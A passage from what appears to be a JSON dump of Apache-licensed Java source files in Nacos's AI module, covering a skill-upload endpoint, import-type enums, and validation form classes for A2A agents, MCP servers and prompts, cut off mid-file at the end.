skillListForm.getSkillName(),\n                        skillListForm.getSearch(), pageForm.getPageNo(), pageForm.getPageSize()));\n    }\n\n    /**\n     * Upload skill from zip file.\n     *\n     * @param request HTTP servlet request\n     * @param namespaceId namespace ID\n     * @param file zip file containing skill\n     * @return result of the upload operation\n     * @throws NacosException if the upload fails\n     */\n    @PostMapping(value = \"/upload\", consumes = \"multipart/form-data\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    @ExtractorManager.Extractor(httpExtractor = ExtractorManager.DefaultHttpExtractor.class)\n    public Result<String> uploadSkill(HttpServletRequest request,\n            @RequestParam(value = \"namespaceId\", required = false) String namespaceId,\n            @RequestParam(\"file\") MultipartFile file) throws NacosException {\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        byte[] zipBytes = SkillRequestUtil.validateAndExtractZipBytes(file);\n        String skillName = skillOperationService.uploadSkillFromZip(namespaceId, zipBytes);\n        return Result.success(skillName);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/enums/ExternalDataTypeEnum.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.enums;\n\nimport com.alibaba.nacos.api.utils.StringUtils;\n\n/**\n * External data type enum. User can import external\n * mcp server data to nacos, the data type is defined\n * by this enum.\n * @author xinluo\n */\npublic enum ExternalDataTypeEnum {\n\n    /**\n     * MCP Server json text, the json text should follow the\n     * MCP Server json format as defined in\n     * <a href=\"https://github.com/modelcontextprotocol/registry/blob/main/docs/\n     * reference/server-json/server.schema.json\">MCP Server</a>.\n     */\n    JSON(\"json\"),\n\n    /**\n     * MCP registry url, the url should be a valid MCP registry url\n     * and the api should follow the MCP registry api as defined in\n     * <a href=\"https://github.com/modelcontextprotocol/registry/blob/main/docs/\n     * reference/api/openapi.yaml\">openapi.yaml</a>.\n     */\n    URL(\"url\"),\n\n    /**\n     * MCP registry seed file\n     * <a href=\"https://github.com/modelcontextprotocol/registry/blob/main/data\n     * /seed.json\">seed.json</a>.\n     */\n    FILE(\"file\");\n\n    /**\n     * The name of the external data type.\n     */\n    private final String name;\n\n    ExternalDataTypeEnum(String name) {\n        this.name = name;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    /**\n     * Parse the external data type from the given value.\n     * @param value the value to parse.\n     * @return the external data type.\n     */\n    public static ExternalDataTypeEnum parseType(String value) {\n        if (StringUtils.isBlank(value)) {\n            return null;\n        }\n\n        for (ExternalDataTypeEnum type : ExternalDataTypeEnum.values()) {\n            if (type.getName().equals(value)) {\n                return type;\n            }\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/enums/McpImportResultStatusEnum.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.enums;\n\n/**\n * McpImportResultStatusEnum.\n * @author xinluo\n */\npublic enum McpImportResultStatusEnum {\n\n    /**\n     * SKIPPED.\n     */\n    SKIPPED(\"skipped\"),\n\n    /**\n     * FAILED.\n     */\n    FAILED(\"failed\"),\n\n    /**\n     * SUCCESS.\n     */\n    SUCCESS(\"success\");\n\n    private final String name;\n\n    McpImportResultStatusEnum(String name) {\n        this.name = name;\n    }\n\n    public String getName() {\n        return name;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/a2a/admin/AgentCardForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.a2a.admin;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\nimport static com.alibaba.nacos.api.ai.constant.AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE;\nimport static com.alibaba.nacos.api.ai.constant.AiConstants.A2a.A2A_ENDPOINT_TYPE_URL;\n\n/**\n * Agent Card Form request.\n *\n * @author xiweng.yy\n */\npublic class AgentCardForm extends AgentForm {\n    \n    @Serial\n    private static final long serialVersionUID = 8361628138801381818L;\n    \n    private String agentCard;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultNamespaceId();\n        fillDefaultRegistrationType();\n        if (StringUtils.isEmpty(agentCard)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Request parameter `agentCard` should not be `null` or empty.\");\n        }\n        validateRegistrationType();\n        \n    }\n    \n    protected void validateRegistrationType() throws NacosApiException {\n        if (!A2A_ENDPOINT_TYPE_URL.equals(getRegistrationType()) && !A2A_ENDPOINT_TYPE_SERVICE.equals(\n                getRegistrationType())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    String.format(\"Required parameter 'registrationType' value should be `%s` or `%s` but was `%s`\",\n                            A2A_ENDPOINT_TYPE_URL, A2A_ENDPOINT_TYPE_SERVICE, getRegistrationType()));\n        }\n    }\n    \n    protected void fillDefaultRegistrationType() {\n        if (StringUtils.isEmpty(getRegistrationType())) {\n            setRegistrationType(A2A_ENDPOINT_TYPE_URL);\n        }\n    }\n    \n    public String getAgentCard() {\n        return agentCard;\n    }\n    \n    public void setAgentCard(String agentCard) {\n        this.agentCard = agentCard;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/a2a/admin/AgentCardUpdateForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.a2a.admin;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Agent Card Update Form.\n *\n * @author xiweng.yy\n */\npublic class AgentCardUpdateForm extends AgentCardForm {\n    \n    @Serial\n    private static final long serialVersionUID = 353698557363707304L;\n    \n    private boolean setAsLatest;\n    \n    public boolean getSetAsLatest() {\n        return setAsLatest;\n    }\n    \n    public void setSetAsLatest(boolean setAsLatest) {\n        this.setAsLatest = setAsLatest;\n    }\n    \n    @Override\n    protected void fillDefaultRegistrationType() {\n        // Update does not need to fill registration type\n    }\n    \n    @Override\n    protected void validateRegistrationType() throws NacosApiException {\n        // Update request if no set registration type, means not change the registration type\n        if (StringUtils.isEmpty(getRegistrationType())) {\n            return;\n        }\n        super.validateRegistrationType();\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/a2a/admin/AgentForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.ai.form.a2a.admin;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\nimport static com.alibaba.nacos.api.ai.constant.AiConstants.A2a.A2A_DEFAULT_NAMESPACE;\n\n/**\n * Agent form.\n *\n * @author KiteSoar\n **/\npublic class AgentForm implements NacosForm {\n    \n    @Serial\n    private static final long serialVersionUID = -73912927386186928L;\n    \n    private String namespaceId;\n    \n    private String agentName;\n    \n    private String version;\n    \n    private String registrationType;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultNamespaceId();\n        if (StringUtils.isEmpty(agentName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'name' type String is not present\");\n        }\n    }\n    \n    protected void fillDefaultNamespaceId() {\n        if (StringUtils.isEmpty(namespaceId)) {\n            namespaceId = A2A_DEFAULT_NAMESPACE;\n        }\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getAgentName() {\n        return agentName;\n    }\n    \n    public void setAgentName(String agentName) {\n        this.agentName = agentName;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getRegistrationType() {\n        return registrationType;\n    }\n    \n    public void setRegistrationType(String registrationType) {\n        this.registrationType = registrationType;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/a2a/admin/AgentListForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.ai.form.a2a.admin;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\n\nimport java.io.Serial;\n\n/**\n * Agent list form.\n *\n * @author KiteSoar\n */\npublic class AgentListForm extends AgentForm {\n    \n    @Serial\n    private static final long serialVersionUID = 4706219418699928980L;\n    \n    private String search;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultNamespaceId();\n        if (!Constants.MCP_LIST_SEARCH_ACCURATE.equalsIgnoreCase(search)\n                && !Constants.MCP_LIST_SEARCH_BLUR.equalsIgnoreCase(search)) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Request parameter `search` should be `accurate` or `blur`.\");\n        }\n    }\n    \n    public String getSearch() {\n        return search;\n    }\n    \n    public void setSearch(String search) {\n        this.search = search;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/mcp/admin/McpDetailForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.mcp.admin;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Nacos AI Mcp Server request detail form, used in create or update.\n *\n * @author xiweng.yy\n */\npublic class McpDetailForm extends McpForm {\n    \n    @Serial\n    private static final long serialVersionUID = 8016131725604983670L;\n    \n    private String serverSpecification;\n    \n    private String toolSpecification;\n    \n    private String endpointSpecification;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultValue();\n        if (StringUtils.isEmpty(serverSpecification)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'serverSpecification' type McpServerBasicInfo is not present\");\n        }\n    }\n    \n    public String getServerSpecification() {\n        return serverSpecification;\n    }\n    \n    public void setServerSpecification(String serverSpecification) {\n        this.serverSpecification = serverSpecification;\n    }\n    \n    public String getToolSpecification() {\n        return toolSpecification;\n    }\n    \n    public void setToolSpecification(String toolSpecification) {\n        this.toolSpecification = toolSpecification;\n    }\n    \n    public String getEndpointSpecification() {\n        return endpointSpecification;\n    }\n    \n    public void setEndpointSpecification(String endpointSpecification) {\n        this.endpointSpecification = endpointSpecification;\n    }\n    \n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/mcp/admin/McpForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.mcp.admin;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Nacos AI Mcp Server request form.\n *\n * @author xiweng.yy\n */\npublic class McpForm implements NacosForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1314659974972866397L;\n    \n    private String mcpId;\n    \n    private String namespaceId;\n    \n    private String mcpName;\n    \n    private String version;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultValue();\n        if (StringUtils.isEmpty(mcpId) && StringUtils.isEmpty(mcpName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'mcpId' or 'mcpName' type String at lease one is not present\");\n        }\n    }\n    \n    protected void fillDefaultValue() {\n        if (StringUtils.isEmpty(namespaceId)) {\n            namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        }\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n\n    public String getVersion() {\n        return version;\n    }\n\n    public void setVersion(String version) {\n        this.version = version;\n    }\n\n    public String getMcpId() {\n        return mcpId;\n    }\n\n    public void setMcpId(String id) {\n        this.mcpId = id;\n    }\n\n    public String getMcpName() {\n        return mcpName;\n    }\n\n    public void setMcpName(String name) {\n        this.mcpName = name;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/mcp/admin/McpImportForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.mcp.admin;\n\nimport com.alibaba.nacos.ai.enums.ExternalDataTypeEnum;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Nacos AI MCP Server import request form.\n *\n * @author WangzJi\n */\npublic class McpImportForm extends McpForm {\n    \n    @Serial\n    private static final long serialVersionUID = 8016131725604983671L;\n    \n    private String importType;\n    \n    private String data;\n    \n    private boolean overrideExisting = false;\n    \n    private boolean validateOnly = false;\n    \n    /**\n     * Whether to skip invalid servers when executing import.\n     */\n    private boolean skipInvalid = false;\n    \n    private String[] selectedServers;\n    \n    /**\n     * Optional start cursor for URL-based import pagination.\n     */\n    private String cursor;\n    \n    /**\n     * Optional page size for URL-based import (items per page).\n     */\n    private Integer limit;\n    \n    /**\n     * Optional fuzzy search keyword for registry import listing.\n     * Only used when importType is 'url'.\n     */\n    private String search;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultValue();\n        if (StringUtils.isEmpty(importType)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'importType' is not present\");\n        }\n        if (StringUtils.isEmpty(data)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'data' is not present\");\n        }\n        if (ExternalDataTypeEnum.parseType(importType) == null) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"importType must be one of: json, url, file\");\n        }\n    }\n    \n    public String getImportType() {\n        return importType;\n    }\n    \n    public void setImportType(String importType) {\n        this.importType = importType;\n    }\n    \n    public String getData() {\n        return data;\n    }\n    \n    public void setData(String data) {\n        this.data = data;\n    }\n    \n    public boolean isOverrideExisting() {\n        return overrideExisting;\n    }\n    \n    public void setOverrideExisting(boolean overrideExisting) {\n        this.overrideExisting = overrideExisting;\n    }\n    \n    public boolean isValidateOnly() {\n        return validateOnly;\n    }\n    \n    public void setValidateOnly(boolean validateOnly) {\n        this.validateOnly = validateOnly;\n    }\n    \n    public boolean isSkipInvalid() {\n        return skipInvalid;\n    }\n    \n    public void setSkipInvalid(boolean skipInvalid) {\n        this.skipInvalid = skipInvalid;\n    }\n    \n    public String[] getSelectedServers() {\n        return selectedServers;\n    }\n    \n    public void setSelectedServers(String[] selectedServers) {\n        this.selectedServers = selectedServers;\n    }\n    \n    public String getCursor() {\n        return cursor;\n    }\n    \n    public void setCursor(String cursor) {\n        this.cursor = cursor;\n    }\n    \n    public Integer getLimit() {\n        return limit;\n    }\n    \n    public void setLimit(Integer limit) {\n        this.limit = limit;\n    }\n    \n    public String getSearch() {\n        return search;\n    }\n    \n    public void setSearch(String search) {\n        this.search = search;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/mcp/admin/McpListForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.mcp.admin;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Nacos AI Mcp Server request form.\n *\n * @author xiweng.yy\n */\npublic class McpListForm extends McpForm {\n    \n    /**\n     * blur or accurate.\n     */\n    private String search;\n    \n    @Serial\n    private static final long serialVersionUID = 9017621414114266178L;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultValue();\n        if (!Constants.MCP_LIST_SEARCH_ACCURATE.equalsIgnoreCase(search)\n                && !Constants.MCP_LIST_SEARCH_BLUR.equalsIgnoreCase(search)) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Request parameter `search` should be `accurate` or `blur`.\");\n        }\n    }\n    \n    @Override\n    protected void fillDefaultValue() {\n        super.fillDefaultValue();\n        if (StringUtils.isEmpty(search)) {\n            search = Constants.MCP_LIST_SEARCH_ACCURATE;\n        }\n    }\n    \n    public String getSearch() {\n        return search;\n    }\n    \n    public void setSearch(String search) {\n        this.search = search;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/mcp/admin/McpUpdateForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.mcp.admin;\n\nimport java.io.Serial;\n\n/**\n * Mcp server update form.\n *\n * @author xinluo\n */\npublic class McpUpdateForm extends McpDetailForm {\n    \n    @Serial\n    private static final long serialVersionUID = 4144251088520249913L;\n    \n    private boolean latest = true;\n\n    private boolean overrideExisting = false;\n    \n    public Boolean getLatest() {\n        return latest;\n    }\n    \n    public void setLatest(Boolean publish) {\n        this.latest = publish;\n    }\n\n    public boolean isOverrideExisting() {\n        return overrideExisting;\n    }\n\n    public void setOverrideExisting(boolean overrideExisting) {\n        this.overrideExisting = overrideExisting;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/prompt/PromptForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\n\nimport java.io.Serial;\n\n/**\n * Prompt form base class.\n *\n * @author nacos\n */\npublic class PromptForm implements NacosForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    private String namespaceId;\n    \n    private String promptKey;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultNamespaceId();\n        if (StringUtils.isEmpty(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'promptKey' type String is not present\");\n        }\n    }\n    \n    protected void fillDefaultNamespaceId() {\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public void setPromptKey(String promptKey) {\n        this.promptKey = promptKey;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/prompt/PromptHistoryForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\n\nimport java.io.Serial;\n\n/**\n * Prompt history query form.\n *\n * @author nacos\n */\npublic class PromptHistoryForm extends PromptForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    private static final int MAX_PAGE_SIZE = 50;\n    \n    /**\n     * Page number (1-based).\n     */\n    private int pageNo = 1;\n    \n    /**\n     * Page size.\n     */\n    private int pageSize = 10;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        super.validate();\n        \n        if (pageNo < 1) {\n            pageNo = 1;\n        }\n        if (pageSize < 1) {\n            pageSize = 10;\n        }\n        if (pageSize > MAX_PAGE_SIZE) {\n            pageSize = MAX_PAGE_SIZE;\n        }\n    }\n    \n    public int getPageNo() {\n        return pageNo;\n    }\n    \n    public void setPageNo(int pageNo) {\n        this.pageNo = pageNo;\n    }\n    \n    public int getPageSize() {\n        return pageSize;\n    }\n    \n    public void setPageSize(int pageSize) {\n        this.pageSize = pageSize;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/prompt/PromptLabelBindForm.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Prompt label bind form.\n *\n * @author nacos\n */\npublic class PromptLabelBindForm extends PromptForm {\n    \n    private String label;\n    \n    private String version;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        super.validate();\n        if (StringUtils.isBlank(label)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'label' type String is not present\");\n        }\n        if (StringUtils.isBlank(version)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'version' type String is not present\");\n        }\n    }\n    \n    public String getLabel() {\n        return label;\n    }\n    \n    public void setLabel(String label) {\n        this.label = label;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/prompt/PromptLabelForm.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Prompt label form.\n *\n * @author nacos\n */\npublic class PromptLabelForm extends PromptForm {\n    \n    private String label;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        super.validate();\n        if 